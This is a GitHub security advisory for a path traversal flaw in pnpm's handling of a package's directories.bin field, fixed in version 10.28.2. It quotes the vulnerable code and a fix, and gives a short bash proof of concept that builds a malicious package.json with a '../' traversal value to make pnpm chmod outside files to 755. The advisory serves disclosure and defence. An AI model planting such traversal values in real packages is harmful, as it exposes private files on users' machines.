GitHub Advisoryadvisory · npm
GHSA-v253-rj99-jwpq pnpm has Path Traversal via arbitrary file permission modification
MEDIUM
Official page ↗
- Aliases
- CVE-2026-24131
- Ecosystem
- npm
- Packages
- pnpm
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-22, CWE-732
- Reviewed
- 2026-01-26
Affected packages
• npm pnpm: < 10.28.2 → fixed in 10.28.2
Description
Summary
When pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `"directories": {"bin": "../../../../tmp"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.
Note: Only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`).
Details
Vulnerable code in `pkg-manager/package-bins/src/index.ts:15-21`:
```typescript
if (manifest.directories?.bin) {
const binDir = path.join(pkgPath, manifest.directories.bin) // NO VALIDATION
const files = await findFiles(binDir)
// ... files outside package returned, then chmod 755'd
}
```
The `bin` field IS protected with `isSubdir()` at line 53, but `directories.bin` lacks this check.
PoC
```bash
Create malicious package
mkdir /tmp/malicious-pkg
echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json
Create sensitive file
mkdir -p /tmp/target
echo "secret" > /tmp/target/secret.sh
chmod 600 /tmp/target/secret.sh # Private
Install
pnpm add file:/tmp/malicious-pkg
Check permissions
ls -la /tmp/target/secret.sh # Now 755 (world-readable)
```
Impact
• Supply-chain attack via npm packages
• File permissions changed from 600 to 755 (world-readable)
• Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)
Suggested Fix
Add `isSubdir` validation for `directories.bin` paths in `pkg-manager/package-bins/src/index.ts`, matching the existing validation in `commandsFromBin()`:
```typescript
if (manifest.directories?.bin) {
const binDir = path.join(pkgPath, manifest.directories.bin)
if (!isSubdir(pkgPath, binDir)) {
return [] // Reject paths outside package
}
// ...
}
```
Related
Alias · CVE (1)
- CVE-2026-24131 pnpm is a package manager. vulnerability